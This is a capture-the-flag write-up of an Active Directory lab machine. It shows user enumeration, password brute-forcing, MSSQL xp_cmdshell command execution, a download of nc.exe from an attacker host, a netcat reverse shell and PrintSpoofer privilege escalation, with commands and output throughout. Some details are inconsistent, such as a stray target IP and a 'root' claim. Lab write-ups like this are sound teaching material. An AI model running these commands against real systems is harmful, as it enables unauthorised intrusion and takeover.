



USTOUN

Windows Active Directory Challenge :)

- ❖ First we start the machine wait the recommended 10 minutes and then we run an nmap scan.
- ❖ A few interesting ports here, probably most interestingly is port 1433 which is ms-sql.

```
389/tcp    open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Doma
445/tcp    open  microsoft-ds? syn-ack
464/tcp    open  kpasswd5?     syn-ack
593/tcp    open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp    open  tcpwrapped    syn-ack
1433/tcp   open  ms-sql-s      syn-ack Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-ntlm-info:
|   Target_Name: DC01
|   NetBIOS_Domain_Name: DC01
|   NetBIOS_Computer_Name: DC
|   DNS_Domain_Name: ustoun.local
|   DNS_Computer_Name: DC.ustoun.local
|   DNS_Tree_Name: ustoun.local
|_  Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-04-07T00:57:04
| Not valid after:  2051-04-07T00:57:04
| MD5:   d662 ad8d 80a4 4c20 767d 2758 7961 1483
| SHA-1: dbbd f581 3141 d041 1a14 de46 6e60 5c8e ac36 30aa
| -----BEGIN CERTIFICATE-----
| MIIDADCCAeigAwIBAgIQPbTtCUjiGIId02PLV9lfRzzANBgkqhkiG9w0BAQsFADA7
```

- ❖ In order to enumerate further we will need some credentials but first let's add the DNS_Computer_Name to our hosts file.

```
(po0d0g@Gusto:~/ThM/ustoun)
$ echo '10.10.93.6 dc.ustoun.local' | sudo tee -a /etc/hosts
10.10.93.6 dc.ustoun.local
```

- ❖ Lets try to enumerate some users with kerbrute.

[illegible]

- ❖ Some time passes and this is all we get, so this will have to do.
- ❖ Let's see if the guest account is active using crackmapexec.

```
(pood0g@Gusto: ~/ThM/ustoun)
$ crackmapexec smb dc.ustoun.local -u 'guest' -p ''
SMB 10.10.93.6 445 DC [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:ustoun.local) (signing:True) (SMBv1:False)
SMB 10.10.93.6 445 DC [*] ustoun.local/guest:
```

- ❖ The guest account seems to be active, so lets see if we can use `-rid-brute` option to find more users.

```

root@kali:~/Documents# smbmap -u 'guest' -p '' --rid-brute 10.10.10.33
[*] Windows 10.0 Build 17763 x64 (name:DC) (domain:ustoun.local) (signing:True) (SMBv1:False)
[*] ustoun.local\guest:
[*] Brute forcing RIDs
498: DC01\Enterprise Read-only Domain Controllers (SidTypeGroup)
500: DC01\Administrator (SidTypeUser)
501: DC01\Guest (SidTypeUser)
502: DC01\krbtgt (SidTypeUser)
512: DC01\Domain Admins (SidTypeGroup)
513: DC01\Domain Users (SidTypeGroup)
1000: DC01\DC$ (SidTypeUser)
1101: DC01\DnsAdmins (SidTypeAlias)
1102: DC01\DnsUpdateProxy (SidTypeGroup)
1112: DC01\SVC-Kerb (SidTypeUser)
1114: DC01\SQLServer2005SQLBrowserUser$DC (SidTypeAlias)

```

- ❖ We get quite a few groups and accounts, after much brute forcing and getting nothing, I eventually try the SVC-Kerb account, it seems that this account does not have a lockout policy.

```
[root@prood0g@Gusto: ~/ThM/ustoun]# $ crackmapexec smb dc.ustoun.local -u 'SVC-Kerb' -p /usr/share/wordlists/rockyou.txt
SMB 10.10.93.6 445 DC [+] Windows 10 0 Build 17763 x64 (name:DC) (domain:ustoun.local) (signing:True) (SMBv1:False)
SMB 10.10.93.6 445 DC [-] ustoun.local\SVC-Kerb:123456 STATUS_LOGON_FAILURE
SMB 10.10.93.6 445 DC [-] ustoun.local\SVC-Kerb:12345 STATUS_LOGON_FAILURE
SMB 10.10.93.6 445 DC [-] ustoun.local\SVC-Kerb:123456789 STATUS_LOGON_FAILURE

SMB 10.10.93.6 445 DC [-] ustoun.local\SVC-Kerb:joshua STATUS_LOGON_FAILURE
SMB 10.10.93.6 445 DC [-] ustoun.local\SVC-Kerb:bubbles STATUS_LOGON_FAILURE
SMB 10.10.93.6 445 DC [-] ustoun.local\SVC-Kerb:1234567890 STATUS_LOGON_FAILURE
SMB 10.10.93.6 445 DC [+] ustoun.local\SVC-Kerb: [REDACTED]
```

- ```
❖ Ok so lets try that credential on mssql.
```

```
(pood0g@Gusto: ~/ThM/ustoun)
$ crackmapexec mssql dc.ustoun.local -u 'SVC-Kerb' -p 'superman' --local-auth
MSSQL 10.10.93.6 1433 DC [*] Windows 10.0 Build 17763 (name:DC) (domain:DC)
MSSQL 10.10.93.6 1433 DC [+] SVC-Kerb: [REDACTED]
```

- ❖ After tearing out nearly all my remaining hair, I eventually used the `-local-auth` switch and it came back as valid login.
- ❖ I tried in vain to get crackmapexec modules to work, but in the end, I give up.
- ❖ So, we are going to need a tool to connect to this mssql server after doing some googling I found a npm package that will do the trick.
- ❖ There's something janky going on with my npm installation but here's the command to install it
- ❖ `sudo npm install sql-cli`

- ❖ So now we will try to login to the mssql server

```
(pood0g@Gusto:~/ThM/ustoun)
$ mssql -s dc.ustoun.local -u 'SVC-Kerb' -p '[REDACTED]'
Connecting to dc.ustoun.local...done

sql-cli version 0.6.2
Enter ".help" for usage hints.
mssql> |
```

- ❖ Yes, Access granted!
- ❖ I do some research to see if we can run shell commands from here and it turns out that is a yes.

```
mssql> EXEC xp_cmdshell 'dir c:\'
output

Volume in drive C has no label.
Volume Serial Number is 1A14-ED88
null
Directory of c:\
null
01/30/2021 05:36 PM <DIR> Program Files
01/30/2021 05:30 PM <DIR> Program Files (x86)
01/30/2021 03:49 PM <DIR> SQL2019
02/01/2021 12:00 PM <DIR> Temp
02/01/2021 11:49 AM <DIR> Users
02/01/2021 12:39 PM <DIR> Windows
 0 File(s) 0 bytes
 6 Dir(s) 34,278,383,616 bytes free

null

14 row(s) returned

Executed in 1 ms
mssql> |
```

- ❖ Ok hard part done, lets try and get a real shell, so I make a directory under c:\ and download nc.exe

```
Executed in 1 ms
mssql> EXEC xp_cmdshell 'mkdir c:\pood'
output

null

1 row(s) returned

Executed in 1 ms
mssql> EXEC xp_cmdshell 'powershell -c curl http://10.[REDACTED]:8000/nc.exe -o c:\pood\nc.exe'
output

null

1 row(s) returned

Executed in 1 ms
mssql> |
```

- ❖ Start my listener and receive a shell

```
Executed in 1 ms
mssql> EXEC xp_cmdshell 'c:\pood\nc.exe -e cmd 10.[REDACTED] 4545'
|
```

❖ And as expected we get a shell

```
(pood0g@Gusto:~/ThM/ustoun)
$ rlwrap nc -lvp 4545
Ncat: Version 7.91 (https://nmap.org/ncat)
Ncat: Listening on :::4545
Ncat: Listening on 0.0.0.0:4545
Ncat: Connection from 10.10.93.6.
Ncat: Connection from 10.10.93.6:50254.
Microsoft Windows [Version 10.0.17763.737]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>
```

❖ Running `whoami /priv` reveals that we have `SeImpersonatePrivilege` enabled

```
whoami /priv

PRIVILEGES INFORMATION

Privilege Name Description State
=====
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeMachineAccountPrivilege Add workstations to domain Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeManageVolumePrivilege Perform volume maintenance tasks Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
```

❖ This seems like a job for `PrintSpoofer`

```
powershell -c curl http://10.10.10.10:8000/PrintSpoofer64.exe -o c:\pood\pspoo.exe
powershell -c curl http://10.10.10.10:8000/PrintSpoofer64.exe -o c:\pood\pspoo.exe

dir
dir
Volume in drive C has no label.
Volume Serial Number is 1A14-ED88

Directory of c:\pood

04/08/2021 12:19 AM <DIR> .
04/08/2021 12:19 AM <DIR> ..
04/08/2021 12:05 AM 45,272 nc.exe
04/08/2021 12:19 AM 27,136 pspoo.exe
 2 File(s) 72,408 bytes
 2 Dir(s) 34,275,414,016 bytes free

c:\pood>
```

❖ Use `PrintSpoofer` to escalate privs.

```
pspoo.exe -c cmd -i
pspoo.exe -c cmd -i
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.17763.737]
(c) 2018 Microsoft Corporation. All rights reserved.

whoami
whoami
dc01\dc$
```

❖ And now we are root, all that's left to do is get the flags and we are done, I'm sure you can find the flags yourself, so I will wrap it up here.

❖ Big thanks to `ustoun0` for creating this room I learned some valuable lessons here.